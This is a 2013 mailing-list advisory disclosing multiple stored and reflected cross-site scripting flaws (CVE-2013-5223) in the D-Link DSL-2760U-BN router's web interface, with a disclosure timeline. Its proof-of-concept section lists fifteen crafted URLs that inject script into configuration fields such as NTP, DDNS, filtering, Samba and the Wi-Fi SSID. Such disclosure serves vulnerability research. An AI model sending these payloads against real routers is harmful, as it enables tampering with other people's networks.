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D-Link Router 2760N (DSL-2760U-BN) Multiple XSS
From: LIAD Mizrachi <liadmz () gmail com>
Date: Sun, 10 Nov 2013 15:59:31 +0200

Advisory: D-Link Router 2760N (DSL-2760U-BN) Multiple XSS
Author: Liad Mizrachi
Vendor URL: http://www.dlink.com
Status: Not Fiexed
CVE-ID: CVE-2013-5223

==========================
Vulnerability Description
==========================

Multiple Cross-Site Scripting (XSS) vulnerabilities present in D-Link
Router 2760N, both stored and reflected in various sections of the router
Web-UI.


==========================
PoC
==========================


1) NTS Settings
http://
<D_LINK_HOST>/sntpcfg.cgi?ntp_enabled=1&ntpServer1=locahost%22;alert%28%27XSS%27%29;//&ntpServer2=
time-nw.nist.gov
&ntpServer3=&ntpServer4=&ntpServer5=&timezone_offset=+02:00&timezone=Jerusalem&use_dst=0



2) Dynamic DNS (Reflected/Stored)
http://
<D_LINK_HOST>/ddnsmngr.cmd?action=add&service=1&hostname=aaaa&username=%3cscript%3ealert(%27xss%27)%3c%2fscript%3e&password=zzzzzz&iface=ppp0



3)Parental Control

http://
<D_LINK_HOST>/todmngr.tod?action=add&username=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&mac=f1:de:f1:ab:cb:6d&days=1&start_time=571&end_time=732



4) URL Filtering
http://
<D_LINK_HOST>/urlfilter.cmd?action=set_url&TodUrlAdd=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&port_num=80



5) NAT - Port Triggering
http://
<D_LINK_HOST>/scprttrg.cmd?action=add&appName=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&dstWanIf=ppp0&tStart=1111,&tEnd=1112,&tProto=1,&oStart=11,&oEnd=11,&oProto=1,



6) IP Filtering:
http://
<D_LINK_HOST>/scoutflt.cmd?action=add&fltName=<script>alert('XSS')</script>&protocol=1&srcAddr=10.0.0.10&srcMask=255.255.255.0&srcPort=80&dstAddr=10.0.0.12&dstMask=255.255.255.0&dstPort=8080



7) IP Filtering - Removal Error:
http://
<D_LINK_HOST>/scoutflt.cmd?action=remove&rmLst=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E



8) Interface Grouping (also reflected on "Local Area Network (LAN) Setup"):
http://
<D_LINK_HOST>/portmapcfg.cmd?action=add&groupName=<Script>alert('XSS')</script>&choiceBox=|usb0|wl0|&wanIfName=atm1



9) SNMP
http://
<D_LINK_HOST>/snmpconfig.cgi?snmpStatus=1&snmpRoCommunity=%27;alert(%27XSS%27)&snmpRwCommunity=private&snmpSysName=D-LINK&snmpSysContact=unknown&snmpSysLocation=unknown&snmpTrapIp=0.0.0.0



10) Incoming IP Filter:
http://
<D_LINK_HOST>/scinflt.cmd?action=add&wanIf=ppp0&fltName=<script>alert('XSS&protocol=2&srcAddr=SS')</script>&srcMask=255.255.255.0&srcPort=80&dstAddr=10.0.0.10&dstMask=255.255.255.0&dstPort=8080



11) Policy Routing Add:
http://
<D_LINK_HOST>/prmngr.cmd?action=add&PolicyName=<script>alert('X&SourceIp=SS');</script>&lanIfcName=wl0&wanIf=ppp0&defaultgw=10.0.0.111



12)Policy Routing -Removal Error:
http://
<D_LINK_HOST>/prmngr.cmd?action=remove&rmLst=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E



13) Printer Server
http://
<D_LINK_HOST>/ippcfg.cmd?action=savapply&ippEnabled=1&ippMake=aa&ippName=aa";alert('XSS-Printer-Sever');//



14) SAMBA Configuration
http://<D_LINK_HOST>/samba.cgi?enableSmb=1&smbNetBiosName=';var
x="XSS";//&smbDirName=b';alert(x);//&smbUtf8DirName=bbb&smbCharset=utf8&smbUnplug=nolug=no
OR
http://
<D_LINK_HOST>/samba.cgi?enableSmb=1&smbNetBiosName=';alert("SAMBA-X&smbDirName=SS");//&smbUtf8DirName=bbb&smbCharset=utf8&smbUnplug=nolug=no



15) WiFi SSID
Step 1 (Create XSS as Wireless SSID):
http://
<D_LINK_HOST>/wlcfg.wl?wlSsidIdx=0&wlEnbl=1&wlHide=0&wlAPIsolation=0&wlSsid=%3CScript%3Ealert(%27XSSID%27)%3C/script%3E&wlCountry=IL&wlMaxAssoc=16&wlDisableWme=0&wlEnableWmf=0&wlEnbl_wl0v1=0&wlSsid_wl0v1=wl0_Guest1&wlHide_wl0v1=0&wlAPIsolation_wl0v1=0&wlDisableWme_wl0v1=0&wlEnableWmf_wl0v1=0&wlMaxAssoc_wl0v1=16&wlEnbl_wl0v2=0&wlSsid_wl0v2=wl0_Guest2&wlHide_wl0v2=0&wlAPIsolation_wl0v2=0&wlDisableWme_wl0v2=0&wlEnableWmf_wl0v2=0&wlMaxAssoc_wl0v2=16&wlEnbl_wl0v3=0&wlSsid_wl0v3=wl0_Guest3&wlHide_wl0v3=0&wlAPIsolation_wl0v3=0&wlDisableWme_wl0v3=0&wlEnableWmf_wl0v3=0&wlMaxAssoc_wl0v3=16

Step 2:
Goto the Wireless -> Security [http://<D_LINK_HOST>/wlsecurity.html]
OR
Goto the Wireless -> MAC Filter [http://
<D_LINK_HOST>/wlmacflt.cmd?action=view]




==========================
Disclosure Timeline
==========================


17-Aug-2013 - Vendor Informed - No response.
23-Aug-2013 - Vendor Re-Informed - No response.
01-Sep-2013 - Vendor Re-Informed - No response.
10-Sep-2013 - Vendor Re-Informed - No response.
10-Oct-2013 - Vendor Re-Informed - No response.

==========================
References
==========================


http://www.dlink.com
http://www.dlink.com.tr/en/arts/117.html
http://www.netcheif.com/downloads/DSL-2760U_user_manual.pdf

Attachment: DSL-2760U-BN-NTS-XSS.txt
Description:

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